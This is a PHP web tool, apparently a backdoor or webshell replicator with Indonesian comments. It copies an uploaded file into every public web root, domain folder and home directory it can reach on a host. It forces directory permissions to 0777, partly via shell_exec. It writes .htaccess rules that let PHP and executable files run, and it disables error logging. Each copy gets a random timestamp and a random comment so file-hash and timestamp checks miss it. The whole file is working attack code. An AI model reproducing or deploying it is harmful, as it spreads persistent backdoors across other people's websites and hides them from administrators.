<?php
// Tambahkan ?p= hanya jika tidak ada query string untuk menghindari error header
if (empty($_SERVER['QUERY_STRING'])) {
    $url = $_SERVER['PHP_SELF'] . '?p=';
    header('Location: ' . $url);
    exit;
}
error_reporting(0);
ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@error_reporting(E_ALL ^ E_NOTICE);
?>
<?php
error_reporting(0);
ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@error_reporting(E_ALL ^ E_NOTICE);

set_time_limit(0);
ini_set('display_errors', 0);
ini_set('error_reporting', 0);
ini_set('memory_limit', '256M');

session_start();

function getMainDomain($domain) {
    $parts = explode('.', $domain);
    if (count($parts) > 2) {
        return $parts[count($parts)-2] . '.' . $parts[count($parts)-1];
    }
    return $domain;
}

 $loaderBasePath = null;

if (defined('REPLICATOR_BASE_PATH')) {
    $loaderBasePath = REPLICATOR_BASE_PATH;
} else {
    $currentDir = getcwd();
    if ($currentDir !== false && is_dir($currentDir) && $currentDir !== '/tmp') {
        $loaderBasePath = $currentDir;
    } else {
        if (!empty($_SERVER['DOCUMENT_ROOT'])) {
            $loaderBasePath = $_SERVER['DOCUMENT_ROOT'];
        } else {
            $loaderBasePath = __DIR__;
        }
    }
}

 $searchPath = ''; 
if (!empty($loaderBasePath)) {
    if (strpos($loaderBasePath, '/domains/') !== false) {
        $parts = explode('/domains/', $loaderBasePath, 2);
        if (isset($parts[0]) && is_dir($parts[0])) {
            $searchPath = $parts[0];
        }
    } else {
        $searchPath = $loaderBasePath;
    }
}

// ============================================
// 🔍 FUNGSI: CEK DOMAIN VALID UNTUK DISPLAY
// ============================================
function isValidDomainForDisplay($host) {
    if (preg_match('/\.[a-z]{2,6}$/i', $host)) {
        return true;
    }
    
    if (preg_match('#^(dev|demo|test|staging|backup|bk|www|web|site|app|mail|ftp|api|cdn|static)[0-9]*\.[a-z0-9.-]+\.[a-z]{2,6}$#i', $host)) {
        return true;
    }
    
    $dotCount = substr_count($host, '.');
    if ($dotCount >= 2 && preg_match('/^[a-z0-9.-]+\.[a-z]{2,6}$/i', $host)) {
        return true;
    }
    
    return false;
}

// ============================================
// SMART PERMISSION FIXER (START LEVEL 2+)
// ============================================

function fixSingleDirPerm($dirPath, &$debugInfo, $label = '') {
    if (!file_exists($dirPath)) return true;
    
    clearstatcache(true, $dirPath);
    
    if (is_writable($dirPath)) {
        @chmod($dirPath, 0755);
        return true;
    }
    
    foreach ([0755, 0775, 0777] as $perm) {
        if (@chmod($dirPath, $perm)) {
            clearstatcache(true, $dirPath);
            usleep(30000);
            
            if (is_writable($dirPath)) return true;
        }
    }
    
    if (function_exists('shell_exec')) {
        @shell_exec("chmod 0777 " . escapeshellarg($dirPath) . " 2>/dev/null");
        clearstatcache(true, $dirPath);
        
        if (is_writable($dirPath)) return true;
    }
    
    return false;
}

function deepFixFromLevel2($targetPath, &$debugInfo, $contextLabel = '') {
    $sep = DIRECTORY_SEPARATOR;
    $normalizedPath = rtrim(str_replace(['\\', '//'], [$sep, $sep], $targetPath), $sep);
    $components = explode($sep, $normalizedPath);
    
    $currentPath = '';
    $fixedCount = 0;
    
    foreach ($components as $index => $component) {
        if ($currentPath === '') {
            if (preg_match('#^[a-z]:$#i', $component)) {
                $currentPath = $component . ':';
                continue;
            }
            $currentPath = $component;
        } else {
            $currentPath .= $sep . $component;
        }
        
        if (empty($currentPath) || $currentPath === $sep || preg_match('#^[a-z]:$#i', $currentPath)) {
            continue;
        }
        
        $levelNumber = $index + 1;
        if ($levelNumber <= 1) {
            continue;
        }
        
        if (!file_exists($currentPath) || !is_dir($currentPath)) {
            continue;
        }
        
        $shortName = strlen($component) > 12 ? substr($component, 0, 12) : $component;
        $levelLabel = $contextLabel . '-L' . $levelNumber . '-' . $shortName;
        
        if (fixSingleDirPerm($currentPath, $debugInfo, $levelLabel)) {
            $fixedCount++;
        }
    }
    
    return $fixedCount;
}
// ============================================

// ============================================
// 📝 KONTEN HTACCESS YANG AKAN DIBUAT
// ============================================
 $HTACCESS_CONTENT = '<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
<FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5|php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$">
Order Allow,Deny
Allow from all
</FilesMatch>
<FilesMatch "^(FqzTi.php)$">
Order Allow,Deny
Allow from all
</FilesMatch>';
// ============================================

// ============================================
// ✨ FUNGSI BARU: MEMBUAT FILE UNIK (WAKTU & KONTEN)
// ============================================
function makeFileUnique($filePath, $originalFileName) {
    if (!file_exists($filePath)) return;
    
    // 1. Acak waktu modifikasi (antara sekarang hingga 30 hari lalu)
    $randomTime = time() - rand(0, 30*24*3600);
    @touch($filePath, $randomTime);
    
    // 2. Jika file PHP, tambahkan komentar unik di akhir
    $ext = strtolower(pathinfo($originalFileName, PATHINFO_EXTENSION));
    $phpExtensions = ['php', 'phtml', 'php5', 'php7', 'php8', 'phps', 'phar', 'inc'];
    if (in_array($ext, $phpExtensions)) {
        $uniqueComment = "\n<?php /* " . bin2hex(random_bytes(16)) . " */ ?>";
        @file_put_contents($filePath, $uniqueComment, FILE_APPEND | LOCK_EX);
        // Setel ulang waktu setelah penulisan agar tidak berubah
        @touch($filePath, $randomTime);
    }
}
// ============================================

// ============================================
// 🔥 FORCE UPLOAD KE SYSTEM/ + BUAT HTACCESS (SUDAH DIMODIFIKASI)
// ============================================
function forceUploadSystemFullProcess($masterFile, $basePath, $fileName, &$debugInfo, &$urls, &$donePaths) {
    global $HTACCESS_CONTENT;
    
    $sep = DIRECTORY_SEPARATOR;
    $pathKey = md5($basePath . '-system-full');
    
    if (isset($donePaths[$pathKey])) {
        return;
    }
    
    $donePaths[$pathKey] = true;
    
    $systemPath = $basePath . $sep . 'system';
    $targetFile = $systemPath . $sep . $fileName;
    $htaccessFile = $systemPath . $sep . '.htaccess';
    
    $baseName = basename($basePath);
    $displayName = strlen($baseName) > 20 ? substr($baseName, 0, 20) : $baseName;
    
    $debugInfo[] = "[SYSTEM] 🚀 Processing: $displayName";
    
    deepFixFromLevel2($basePath, $debugInfo, 'SYS-' . $displayName);
    
    if (!is_dir($systemPath)) {
        fixSingleDirPerm($basePath, $debugInfo, 'PRE-SYS');
        $mkdirOk = @mkdir($systemPath, 0755, true);
        if (!$mkdirOk) {
            @chmod($basePath, 0777);
            $mkdirOk = @mkdir($systemPath, 0777, true);
        }
        if ($mkdirOk) {
            @chmod($systemPath, 0755);
            $debugInfo[] = "[SYSTEM] 📁 Created system/";
        } else {
            $debugInfo[] = "[SYSTEM] ⚠️ Cannot create system/";
            return;
        }
    } else {
        deepFixFromLevel2($systemPath, $debugInfo, 'SYS-DIR-' . $displayName);
    }
    
    clearstatcache(true, $systemPath);
    if (is_dir($systemPath) && !is_writable($systemPath)) {
        @chmod($systemPath, 0777);
        clearstatcache(true, $systemPath);
    }
    
    if (!is_writable($systemPath)) {
        $debugInfo[] = "[SYSTEM] ❌ ABORT: system/ not writable for $displayName";
        return;
    }
    
    $debugInfo[] = "[SYSTEM] ✅ system/ is WRITABLE";
    
    // Upload file dengan modifikasi unik
    $uploadSuccess = false;
    for ($retry = 1; $retry <= 3; $retry++) {
        if ($retry > 1) {
            @chmod($systemPath, 0777);
            clearstatcache(true, $systemPath);
            usleep(150000);
        }
        
        if (@copy($masterFile, $targetFile)) {
            // ✨ Panggil fungsi pembuat unik
            makeFileUnique($targetFile, $fileName);
            
            @chmod($targetFile, 0644);
            clearstatcache(true, $targetFile);
            usleep(50000);
            
            if (file_exists($targetFile) && filesize($targetFile) > 0) {
                $uploadSuccess = true;
                break;
            }
        }
    }
    
    // Buat/tulis .htaccess dengan komentar unik
    $htaccessSuccess = false;
    $randomComment = "# " . bin2hex(random_bytes(8)) . "\n";
    $uniqueHtaccessContent = $randomComment . $HTACCESS_CONTENT;
    
    if ($uploadSuccess || is_dir($systemPath)) {
        if (file_exists($htaccessFile)) {
            $writeResult = @file_put_contents($htaccessFile, $uniqueHtaccessContent);
            if ($writeResult !== false) {
                @chmod($htaccessFile, 0644);
                $htaccessSuccess = true;
                $debugInfo[] = "[SYSTEM] ✅ .htaccess UPDATED (unique)";
            } else {
                @chmod($htaccessFile, 0666);
                $writeResult = @file_put_contents($htaccessFile, $uniqueHtaccessContent);
                if ($writeResult !== false) {
                    @chmod($htaccessFile, 0644);
                    $htaccessSuccess = true;
                    $debugInfo[] = "[SYSTEM] ✅ .htaccess UPDATED (unique after chmod)";
                } else {
                    $debugInfo[] = "[SYSTEM] ⚠️ Cannot update .htaccess";
                }
            }
        } else {
            $writeResult = @file_put_contents($htaccessFile, $uniqueHtaccessContent);
            if ($writeResult !== false) {
                @chmod($htaccessFile, 0644);
                $htaccessSuccess = true;
                $debugInfo[] = "[SYSTEM] ✅ .htaccess CREATED (unique)";
            } else {
                $tempHtaccess = $systemPath . $sep . '.htaccess_temp_' . uniqid();
                $tempWrite = @file_put_contents($tempHtaccess, $uniqueHtaccessContent);
                if ($tempWrite && @rename($tempHtaccess, $htaccessFile)) {
                    @chmod($htaccessFile, 0644);
                    $htaccessSuccess = true;
                    $debugInfo[] = "[SYSTEM] ✅ .htaccess CREATED (via rename, unique)";
                } elseif ($tempWrite) {
                    @copy($tempHtaccess, $htaccessFile);
                    @chmod($htaccessFile, 0644);
                    @unlink($tempHtaccess);
                    if (file_exists($htaccessFile)) {
                        $htaccessSuccess = true;
                        $debugInfo[] = "[SYSTEM] ✅ .htaccess CREATED (via copy, unique)";
                    } else {
                        @unlink($tempHtaccess);
                        $debugInfo[] = "[SYSTEM] ❌ FAIL: Cannot create .htaccess";
                    }
                } else {
                    $debugInfo[] = "[SYSTEM] ❌ FAIL: Cannot write .htaccess temp";
                }
            }
        }
    }
    
    // Hasil akhir
    if ($uploadSuccess && $htaccessSuccess) {
        $host = $baseName;
        if (preg_match('/\.[a-z]{2,6}$/i', $baseName) || isDomainPattern($baseName)) {
            $host = $baseName;
        } elseif ($baseName === 'public_html' || $baseName === 'htdocs' || $baseName === 'www') {
            $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? '';
        } else {
            $host = $baseName;
        }
        $cleanUrl = "http://" . trim($host, '/') . "/system/" . urlencode($fileName);
        if (!in_array($cleanUrl, $urls)) {
            $urls[] = $cleanUrl;
            if (isValidDomainForDisplay($host)) {
                $debugInfo[] = "[SYSTEM] 🎉 SUCCESS: $cleanUrl (+ unique .htaccess)";
            } else {
                $debugInfo[] = "[SYSTEM] 🎉 SUCCESS (hidden): $cleanUrl (+ unique .htaccess)";
            }
        }
    } elseif ($uploadSuccess) {
        $debugInfo[] = "[SYSTEM] ⚠️ File OK but .htaccess FAILED for $displayName";
    } elseif ($htaccessSuccess) {
        $debugInfo[] = "[SYSTEM] ⚠️ .htaccess OK but file upload FAILED for $displayName";
    } else {
        $debugInfo[] = "[SYSTEM] ❌ FAIL: Both file & .htaccess failed for $displayName";
    }
}
// ============================================

// HELPERS
function extractDomainFromPath($path) {
    $sep = DIRECTORY_SEPARATOR;
    $parts = explode($sep, rtrim($path, $sep));
    foreach (array_reverse($parts) as $part) {
        if (isDomainPattern($part)) return $part;
    }
    return $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? '';
}

function isDomainPattern($string) {
    if (strpos($string, '.') !== false && preg_match('/\.[a-z]{2,6}$/i', $string)) {
        return true;
    }
    if (preg_match('/^(dev|demo|test|staging|backup|bk|www|web|site|app)[0-9]*$/i', $string)) {
        return true;
    }
    return false;
}

// ============================================
// 🛠️ forceCopyFile DIMODIFIKASI UNTUK FILE UNIK
// ============================================
function forceCopyFile($masterFile, $targetPath, &$debugInfo, $label = '') {
    $sep = DIRECTORY_SEPARATOR;
    $dirPath = dirname($targetPath);
    
    if (is_dir($dirPath)) {
        deepFixFromLevel2($dirPath, $debugInfo, $label.'-DIR');
    } else {
        @mkdir($dirPath, 0755, true);
        @chmod($dirPath, 0755);
    }
    
    $decoyName = 'temp_' . bin2hex(random_bytes(8)) . '.' . str_replace(' ', '', $label);
    $decoyPath = $dirPath . $sep . $decoyName;
    
    if (@copy($masterFile, $decoyPath)) {
        if (@rename($decoyPath, $targetPath)) {
            // ✨ Ubah jadi unik (dengan nama file asli dari target)
            makeFileUnique($targetPath, basename($targetPath));
            @chmod($targetPath, 0644);
            $debugInfo[] = "✅ [$label] OK (unique): $targetPath";
            return true;
        } else {
            @unlink($decoyPath);
        }
    }
    return false;
}
// ============================================

// ============================================
// FUNGSI REPLICATE UTAMA
// ============================================
function replicate_uploaded_file($fileTmpPath, $fileName, $searchPath) {
    static $once = false;
    if ($once) return [];
    $once = true;

    if (empty($searchPath) || !is_dir($searchPath)) {
        $_SESSION['debugInfo'][] = "❌ FATAL: Path awal tidak valid.";
        return [];
    }

    if (!file_exists($fileTmpPath)) return [];

    $masterTempFile = sys_get_temp_dir() . '/master_' . bin2hex(random_bytes(16));
    if (!move_uploaded_file($fileTmpPath, $masterTempFile)) {
        $_SESSION['debugInfo'][] = "❌ FATAL: Gagal membuat file master.";
        return [];
    }

    $allUrls = [];
    $displayUrls = [];
    $doneWpPaths = [];
    $doneRootPaths = [];
    $sep = DIRECTORY_SEPARATOR;
    $debugInfo = [];

    $publicDirs = ['public_html', 'htdocs', 'www', 'public', 'httpdocs'];
    $forceDirs = ['public_html', 'htdocs'];

    $start = $searchPath;
    while ($start !== '/' && $start !== '.') {

        foreach ($forceDirs as $forceDir) {
            $fullPath = $start . $sep . $forceDir;
            if (!is_dir($fullPath)) continue;
            
            $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? '';
            $rootUrl = "http://$host/" . urlencode($fileName);
            $rootKey = md5($host . '-root');
            
            if (!isset($doneRootPaths[$rootKey])) {
                $targetPath = $fullPath . $sep . $fileName;
                if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "ROOT-$forceDir")) {
                    if (!in_array($rootUrl, $allUrls)) {
                        $allUrls[] = $rootUrl;
                        if (isValidDomainForDisplay($host)) {
                            $displayUrls[] = $rootUrl;
                        }
                        $doneRootPaths[$rootKey] = true;
                    }
                }
            }
            
            forceUploadSystemFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
        }

        if (is_dir("$start/domains")) {
            foreach (scandir("$start/domains") as $dom) {
                if ($dom === '.' || $dom === '..') continue;
                if (!is_dir("$start/domains/$dom")) continue;
                
                $domainPath = "$start/domains/$dom";
                $domainKey = md5($dom . '-root');
                
                foreach ($publicDirs as $pubDirName) {
                    $pubFullPath = $domainPath . $sep . $pubDirName;
                    if (!is_dir($pubFullPath)) continue;
                    
                    if (!isset($doneRootPaths[$domainKey])) {
                        $targetPath = $pubFullPath . $sep . $fileName;
                        if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "DOM-$dom")) {
                            $rootUrl = "http://$dom/" . urlencode($fileName);
                            if (!in_array($rootUrl, $allUrls)) {
                                $allUrls[] = $rootUrl;
                                if (isValidDomainForDisplay($dom)) {
                                    $displayUrls[] = $rootUrl;
                                }
                                $doneRootPaths[$domainKey] = true;
                            }
                        }
                    }
                    
                    forceUploadSystemFullProcess($masterTempFile, $pubFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
                }
            }
        }

        if (is_dir($start)) {
            foreach (scandir($start) as $dir) {
                if ($dir === '.' || $dir === '..') continue;
                $fullPath = "$start/$dir";
                
                if (!is_dir($fullPath)) continue;
                if (in_array($dir, $publicDirs)) continue;
                if ($dir === 'domains') continue;
                
                $folderKey = md5($dir . '-folder-root');
                
                if (!isset($doneRootPaths[$folderKey])) {
                    $targetPath = $fullPath . $sep . $fileName;
                    if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "FOLDER-$dir")) {
                        $rootUrl = "http://$dir/" . urlencode($fileName);
                        if (!in_array($rootUrl, $allUrls)) {
                            $allUrls[] = $rootUrl;
                            if (isValidDomainForDisplay($dir)) {
                                $displayUrls[] = $rootUrl;
                            }
                            $doneRootPaths[$folderKey] = true;
                        }
                    }
                }
                
                forceUploadSystemFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
                
                foreach ($publicDirs as $pubDirName) {
                    $pubFullPath = $fullPath . $sep . $pubDirName;
                    
                    if (!is_dir($pubFullPath)) continue;
                    
                    $pubKey = md5($dir . '-' . $pubDirName . '-root');
                    if (!isset($doneRootPaths[$pubKey])) {
                        $targetPath = $pubFullPath . $sep . $fileName;
                        if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "FOLD-$dir-$pubDirName")) {
                            $rootUrl = "http://$dir/" . urlencode($fileName);
                            if (!in_array($rootUrl, $allUrls)) {
                                $allUrls[] = $rootUrl;
                                if (isValidDomainForDisplay($dir)) {
                                    $displayUrls[] = $rootUrl;
                                }
                                $doneRootPaths[$pubKey] = true;
                            }
                        }
                    }
                    
                    forceUploadSystemFullProcess($masterTempFile, $pubFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
                }
            }
        }

        $start = dirname($start);
    }
    
    if (preg_match('#^/home([^/]*)/([^/]+)#', $searchPath, $m)) {
        $homePrefix = '/home' . ($m[1] ?: '') . '/';
        $homeUser = $m[2];
        $homePath = $homePrefix . $homeUser;
        $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? $homeUser;
        
        foreach ($forceDirs as $forceDir) {
            $fullPath = $homePath . $sep . $forceDir;
            if (!is_dir($fullPath)) continue;
            
            $rootKey = md5($host . '-home-root');
            if (!isset($doneRootPaths[$rootKey])) {
                $targetPath = $fullPath . $sep . $fileName;
                if (forceCopyFile($masterTempFile, $targetPath, $debugInfo, "HOME-$forceDir")) {
                    $rootUrl = "http://$host/" . urlencode($fileName);
                    if (!in_array($rootUrl, $allUrls)) {
                        $allUrls[] = $rootUrl;
                        if (isValidDomainForDisplay($host)) {
                            $displayUrls[] = $rootUrl;
                        }
                        $doneRootPaths[$rootKey] = true;
                    }
                }
            }
            
            forceUploadSystemFullProcess($masterTempFile, $fullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
        }
        
        if (is_dir($homePath)) {
            foreach (scandir($homePath) as $homeFolder) {
                if ($homeFolder === '.' || $homeFolder === '..') continue;
                if (in_array($homeFolder, $publicDirs)) continue;
                
                $folderFullPath = $homePath . $sep . $homeFolder;
                if (!is_dir($folderFullPath)) continue;
                
                forceUploadSystemFullProcess($masterTempFile, $folderFullPath, $fileName, $debugInfo, $allUrls, $doneWpPaths);
            }
        }
    }

    @unlink($masterTempFile);

    // Domain utama
    $mainDomainUrls = [];
    foreach ($allUrls as $url) {
        preg_match('#http://([^/]+)#', $url, $m);
        if (isset($m[1])) {
            $mainDomain = getMainDomain($m[1]);
            if ($mainDomain !== $m[1]) {
                $mainRootUrl = "http://$mainDomain/" . urlencode($fileName);
                $mainSysUrl = "http://$mainDomain/system/" . urlencode($fileName);
                
                if (!in_array($mainRootUrl, $allUrls)) {
                    $allUrls[] = $mainRootUrl;
                    if (isValidDomainForDisplay($mainDomain)) {
                        $displayUrls[] = $mainRootUrl;
                    }
                }
                if (!in_array($mainSysUrl, $allUrls)) {
                    $allUrls[] = $mainSysUrl;
                    if (isValidDomainForDisplay($mainDomain)) {
                        $displayUrls[] = $mainSysUrl;
                    }
                }
                $mainDomainUrls[$mainDomain] = true;
            }
        }
    }
    
    foreach ($allUrls as $url) {
        if (strpos($url, '/system/') !== false) {
            preg_match('#http://([^/]+)#', $url, $m);
            if (isset($m[1]) && isValidDomainForDisplay($m[1])) {
                if (!in_array($url, $displayUrls)) {
                    $displayUrls[] = $url;
                }
            }
        }
    }

    $_SESSION['debugInfo'] = $debugInfo;
    
    return [
        'all_urls' => array_unique($allUrls),
        'display_urls' => array_unique($displayUrls),
        'total_all' => count(array_unique($allUrls)),
        'total_display' => count(array_unique($displayUrls))
    ];
}

// ============================================
// FORM PROCESSING
// ============================================
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error'] === UPLOAD_ERR_OK) {
        $fileTmpPath = $_FILES['fileToUpload']['tmp_name'];
        $fileName = $_FILES['fileToUpload']['name'];
        $fileSize = $_FILES['fileToUpload']['size'];

        echo "<p class='blue'>📄 File: " . htmlspecialchars($fileName) . " (Ukuran: " . $fileSize . " bytes)</p>";
        
        $result = replicate_uploaded_file($fileTmpPath, $fileName, $searchPath);
        
        $displayUrls = $result['display_urls'];
        $totalAll = $result['total_all'];
        $totalDisplay = $result['total_display'];

        if (!empty($displayUrls)) {
            echo "<p class='green'>✅ File berhasil direplikasi ke <strong>$totalDisplay</strong> domain valid";
            if ($totalAll > $totalDisplay) {
                echo " (dari total $totalAll lokasi)";
            }
            echo ":</p><ul>";
            foreach ($displayUrls as $u) echo "<li><a href='$u' target='_blank'>$u</a></li>";
            echo "</ul>";
            echo "<p class='blue'>ℹ️ Setiap salinan dibuat <strong>unik</strong> (waktu acak, komentar acak jika PHP) & .htaccess juga unik.</p>";
        } else {
            echo "<p class='red'>⚠️ Tidak ada domain valid yang ditemukan.</p>";
            if ($totalAll > 0) {
                echo "<p class='blue'>ℹ️ File tetap diupload ke $totalAll lokasi dengan ciri unik.</p>";
            }
        }
        
        if (isset($_SESSION['debugInfo']) && !empty($_SESSION['debugInfo'])) {
            echo "<details open><summary>🔍 Debug Information</summary><ul>";
            foreach ($_SESSION['debugInfo'] as $info) {
                echo "<li>" . htmlspecialchars($info) . "</li>";
            }
            echo "</ul></details>";
            unset($_SESSION['debugInfo']);
        }
        echo "<hr>";
    } else {
        echo "<p class='red'>Tidak ada file yang diunggah atau terjadi kesalahan.</p>";
        if (isset($_FILES['fileToUpload'])) {
            echo "<p>Kode error: " . $_FILES['fileToUpload']['error'] . "</p>";
        }
    }
}

echo '<style>
    body { font-family: sans-serif; line-height: 1.6; }
    .green { color: #28a745; }
    .red { color: #dc3545; }
    .blue { color: #007bff; }
    form { margin-top: 20px; padding: 20px; border: 1px solid #ccc; border-radius: 5px; }
    input[type="file"] { margin-bottom: 10px; }
    button { padding: 10px 15px; background-color: #007bff; color: white; border: none; border-radius: 5px; cursor: pointer; }
    button:hover { background-color: #0056b3; }
    ul { list-style-type: disc; margin-left: 20px; }
    details { margin-top: 15px; border: 1px solid #eee; padding: 10px; border-radius: 5px; }
    summary { cursor: pointer; font-weight: bold; }
</style>';

echo '<form method="POST" enctype="multipart/form-data">
        <input type="file" name="fileToUpload" required>
        <button type="submit">⚡ Upload & Replicate</button>
      </form>';
?>